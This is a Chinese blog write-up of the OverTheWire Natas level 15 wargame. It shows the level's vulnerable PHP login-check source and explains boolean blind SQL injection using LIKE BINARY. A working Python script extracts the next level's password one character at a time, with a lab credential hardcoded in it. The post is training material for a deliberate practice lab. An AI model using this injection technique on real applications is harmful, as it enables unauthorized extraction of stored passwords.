natas15 题解

natas一系列是国外的web安全游戏,可以真正的帮你练习web渗透,不单单是依靠工具,这次要写的就是一个sql盲注的脚本,下边附上第一关的网址

http://overthewire.org/wargames/natas/natas0.html

前几关还都好过,到了后边越来越难,写题解的大多都是外国,国内能的搜到只有很少,而且看了国内某巨巨用linux写的各种题解,云里雾里,只好跑到国外看,看了五六篇之后豁然开朗


进入第15关看到的只有一个输入框和一个按钮


查看源码

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

这一块

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";


我们可以看到一个sql语句,很明显的可以注入,但是我们的目标是拿到下一关的密码,仔细分析一下就知道是sql盲注,他这里在输入用户名后,会返回一个用户是否存在的信息,我们想要的是natas16,输入测试发现用户的确存在,首先能想到的是爆破,但是每一关的密码长度太长,尝试需要的时间是恐怖的,然后就是sql模糊查询,假设我们输入的sql语句是这样

SELECT * from users where username=natas16 and password like binary "W%"

(顺便提一下sql语句,like是模糊查询,binary是区分大小写,%是万用字元,W%是指数据库password列找到以W开头的数据,and 是在满足前一个用户名的条件下匹配后一个)

如果这里的W是密码开头的字符,就会返回user exists 如果不是会返回user doesn't exist我们就可以知道这个字符是不是密码的第一个字符,接着这个字符然后输入第二个

(密码都是由0-9,a-z,A-Z组成,跑过每一个字符即可)

SELECT * from users where username=natas16 and password like binary "Wa%"

就可以得到第二个是不是(为了方便测试这里用的就是密码,返回的是user exists)


所以我们用一段python来实现,需要注意的是python需要先去实现一个HTTPauth验证,使用requests库来操作(首先需要在github上下载requests,下载解压后windows平台用cd 切换到setup.py的文件目录,执行python setup.py install 即可安装)


这里用到的核心是requests.post()函数,执行验证后同时发送data,下面是我写的python脚本

import requests
url = "http://natas15.natas.labs.overthewire.org/index.php"
username = "natas15"
password= 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
au = requests.auth.HTTPBasicAuth(username,password)
ans=""
testCharacter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
i=0
while i < len(testCharacter):
    payload = "natas16\" AND password like binary\""+ans+testCharacter[i]+"%"
    #我们伪造的sql语句
    req = requests.post(url,auth=au,data={"username":payload})
    #用字典来存储sql盲注需要提交的内容
    if "This user exists" in req.text:
        ans+=testCharacter[i]
        print(ans)
        i=0
        continue
    i+=1


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Level 11: 1. 登录后,发现页面上有一个输入框,可以输入任意的字符串,然后点击“Submit Query”按钮,就会返回一个加密后的字符串。 2. 查看网页源代码,发现有一段JavaScript代码,其中包含了一个函数`encodeString`,它是用来加密输入的字符串的。 3. 通过分析`encodeString`函数的代码,发现它是对输入的字符串进行了简单的替换和反转操作,最终得到了一个加密后的字符串。 4. 我们可以尝试对加密后的字符串进行反向操作,还原出原始的字符串。 5. 将得到的原始字符串作为参数,构造一个URL,然后访问这个URL,即可通过该关卡。 Level 12: 1. 登录后,发现页面上有一个输入框,可以输入任意的字符串,然后点击“Submit Query”按钮,就会返回一个加密后的字符串。 2. 查看网页源代码,发现有一段PHP代码,其中包含了一个函数`echo base64_encode(strrev(xor_encrypt($data, $key)));`,它是用来加密输入的字符串的。 3. 通过分析`xor_encrypt`函数的代码,发现它是对输入的字符串进行了异或加密操作,并且加密的密钥是一个固定的字符串。 4. 我们可以尝试对加密后的字符串进行反向操作和异或解密操作,还原出原始的字符串。 5. 将得到的原始字符串作为参数,构造一个Cookie,然后将该Cookie发送给服务器,即可通过该关卡。注意,这里要修改的是Cookie,而不是URL。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值